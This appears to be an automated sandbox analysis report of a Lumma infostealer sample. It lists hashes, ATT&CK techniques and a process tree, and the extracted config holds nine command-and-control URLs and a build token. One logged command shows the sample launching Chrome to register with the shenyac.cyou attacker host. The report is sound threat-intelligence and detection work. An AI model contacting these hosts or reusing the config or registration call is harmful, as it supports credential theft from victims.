lumma | 7908c22432e29287fa07768c1573b899d1f216545f0fd6d49653945001ad4181

Analysis

max time kernel
149s
max time network
149s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
01/06/2026, 16:47

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General

Target
tmpxbini7bz.exe
Size 4.9MB
Sample260601-va1sfsct2k
SHA256 7908c22432e29287fa07768c1573b899d1f216545f0fd6d49653945001ad4181
MD5 8736506a3a43bbe07cd25d4964d632a3
SHA1 af50bf1040aa0b1587a37b73b6ec809d7dcabeea
SHA512 feff9d2485e24d5bf5e024627321ff316bc7a920a35bc46cc73f423072b72d9fc9d64dabdd66ef70aac185c4b542c7c5a74f8bc668940e194cd7cc4082cc1067
SSDEEP 49152:jhlMNo5UB8TyN0ZB8tcqFzvj36HHFUMm6MbQHt:F2o53TgeB8tcqF3kZ7Ht
TLSH
T1AD363B04FEC680F1D9175B3121BFB33FA72C281846399653EFA03EA6B977751186660E
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery lumma spyware stealer

Malware Config

Extracted

Family

lumma

https://shenyac.cyou
https://decrnoj.club/xxx
https://pomflgf.vu/help
https://carytui.vu/caccc
https://mushxhb.best/info
https://genugsq.best/main
https://ulmudhw.shop/create
https://strikql.shop/owner
https://longmbx.click/manifest

Attributes

build_id
37934481450b824f5d084fe6153b86d32711

Signatures

Family: Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmpxbini7bz.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4900	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134248060861064897"	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4968	tmpxbini7bz.exe
4968	tmpxbini7bz.exe
4968	tmpxbini7bz.exe
4968	tmpxbini7bz.exe
3964	chrome.exe
3964	chrome.exe
4968	tmpxbini7bz.exe
4968	tmpxbini7bz.exe
4968	tmpxbini7bz.exe
4968	tmpxbini7bz.exe
4968	tmpxbini7bz.exe
4968	tmpxbini7bz.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3964	chrome.exe
Token: SeCreatePagefilePrivilege	3964	chrome.exe
Token: SeShutdownPrivilege	3964	chrome.exe
Token: SeCreatePagefilePrivilege	3964	chrome.exe
Token: SeShutdownPrivilege	3964	chrome.exe
Token: SeCreatePagefilePrivilege	3964	chrome.exe
Token: SeShutdownPrivilege	3964	chrome.exe
Token: SeCreatePagefilePrivilege	3964	chrome.exe
Token: SeShutdownPrivilege	3964	chrome.exe
Token: SeCreatePagefilePrivilege	3964	chrome.exe
Token: SeShutdownPrivilege	3964	chrome.exe
Token: SeCreatePagefilePrivilege	3964	chrome.exe
Token: SeShutdownPrivilege	3964	chrome.exe
Token: SeCreatePagefilePrivilege	3964	chrome.exe
Token: SeShutdownPrivilege	3964	chrome.exe
Token: SeCreatePagefilePrivilege	3964	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe
3964	chrome.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4968 wrote to memory of 3964	4968	tmpxbini7bz.exe	81
PID 3964 wrote to memory of 2440	3964	chrome.exe	82
PID 3964 wrote to memory of 564	3964	chrome.exe	83
PID 3964 wrote to memory of 4900	3964	chrome.exe	84
PID 3964 wrote to memory of 564	3964	chrome.exe	83
PID 3964 wrote to memory of 3824	3964	chrome.exe	85
PID 3964 wrote to memory of 3824	3964	chrome.exe	85
PID 3964 wrote to memory of 1592	3964	chrome.exe	86
PID 3964 wrote to memory of 1592	3964	chrome.exe	86
PID 3964 wrote to memory of 712	3964	chrome.exe	87
PID 3964 wrote to memory of 712	3964	chrome.exe	87
PID 3964 wrote to memory of 1532	3964	chrome.exe	89
PID 3964 wrote to memory of 1532	3964	chrome.exe	89
PID 3964 wrote to memory of 2988	3964	chrome.exe	90

C:\Users\Admin\AppData\Local\Temp\tmpxbini7bz.exe
"C:\Users\Admin\AppData\Local\Temp\tmpxbini7bz.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4968
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" shenyac.cyou/api/set_agent?id=E8019BD0BD24956701AEC7B30ADF174C&token=37934481450b824f5d084fe6153b86d32711&description=&agent=Chrome
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3964
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd54fdc728,0x7ffd54fdc734,0x7ffd54fdc740
    3⤵
    PID:2440
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,5432595640424574721,12635567780446885862,262144 --field-trial-handle=2072,i,1097278032936025260,11043377683654612880,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2060 /prefetch:2
    3⤵
    PID:564
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1332,i,9297574424066734452,8208185968006233524,524288 --field-trial-handle=2072,i,1097278032936025260,11043377683654612880,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2124 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4900
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2404,i,18275850998724260641,9467627533038685873,524288 --field-trial-handle=2072,i,1097278032936025260,11043377683654612880,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2564 /prefetch:13
    3⤵
    PID:3824
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3184,i,1197346840718584361,10766242336954766657,2097152 --field-trial-handle=2072,i,1097278032936025260,11043377683654612880,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3192 /prefetch:1
    3⤵
    PID:1592
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3208,i,7365685935893087344,13370125729906742518,2097152 --field-trial-handle=2072,i,1097278032936025260,11043377683654612880,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3224 /prefetch:1
    3⤵
    PID:712
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4268,i,14366602982086324067,3347606158156089677,2097152 --field-trial-handle=2072,i,1097278032936025260,11043377683654612880,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4276 /prefetch:9
    3⤵
    PID:1532
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5336,i,10841351423922909578,8656725953668847204,524288 --field-trial-handle=2072,i,1097278032936025260,11043377683654612880,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5332 /prefetch:14
    3⤵
    PID:2988

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1728

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

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BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 649B
SHA256 43d185c53ab10ee7b7d819345c6ac35e0d0c049dfcb4603c332a2eaceb1d176c
MD5 00e396e6e67967422d62f0c153c5b1b2
SHA1 9b9e3c4cb3e4ceb6c5a50797b4c54673cb40058c
SHA512 87c897f52f50dc56fcde212e0be867fe2221695f1ffd759ed8fc5017cd52077c3a232de2577bed831dbb2cbed8f3f75a84c2cec9776d0d0a3a72010c56ed3693
TLSH
T174F0F9A6DD21AC3B08FD2B2960555B47F750136B2780494F3B3C930D4FB163B459686C
MD5 SHA1 SHA512 TLSH

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SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

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Web Data

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
Size 138KB
SHA256 8f7c1cf4c67afa4319dcc2f61b737b24608e81eac07d41f726b7d24dc60ffe50
MD5 28c48965d01ca6113041c435fad7e55b
SHA1 0cfc04bd9be5af11edb081c49c165a13314a8b6d
SHA512 f4991c6649843da6c76764eeac1cc90b82a61da0f6c31d1e24227cdada5d99cb5864ba5bb8b247948dfba60c6f8379a55a60bcb6eeabed18bbe3a5a8903555fb
SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2OJcIdVumgnzy:1nbZeMrv/hGtJcIinO
TLSH
T135D3974B3E743002EDE58AB25CE050BB5E3C716D8F55A5D428B620688EF2913A23D4BF
MD5 SHA1 SHA512 SSDEEP TLSH

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Last Version

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
Size 13B
SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
MD5 43ef949d3c6e9956545979ace65d0085
SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
MD5 SHA1 SHA512

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Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 115KB
SHA256 efbf7350505dc4e2697e95f44524e6dadf4ff13d932125f8c54ded50b5dd34a3
MD5 c139477f3ea5ea1d66c0a9ab9dbe9a07
SHA1 5261b209393aae573b8b473150f406a0e78d362c
SHA512 75d42e45b96f1512f7115f71dba24e15f2ac25b0346b3e6133aa22dc95e985dbfae7af47fdf8fa8bec0b06b4c62d8ca541c87589586ebb5568ab8d0369c3863e
SSDEEP 3072:nGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMF:Gm7Rkm1tYpBeh2BAoF
TLSH
T11EC3123B5D70A97759B8BB4EB08E0B1E1EF149A6C930DE92C8D85B0477F97CC0A44934
MD5 SHA1 SHA512 SSDEEP TLSH

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memory/4968-42-0x00000000216C0000-0x000000002171C000-memory.dmp

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memory/4968-46-0x0000000023620000-0x0000000023621000-memory.dmp

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memory/4968-45-0x0000000023620000-0x0000000023621000-memory.dmp

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memory/4968-44-0x0000000023620000-0x0000000023621000-memory.dmp

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memory/4968-43-0x0000000023620000-0x0000000023621000-memory.dmp

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memory/4968-0-0x00000000216C0000-0x000000002171C000-memory.dmp

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memory/4968-58-0x0000000023620000-0x0000000023621000-memory.dmp

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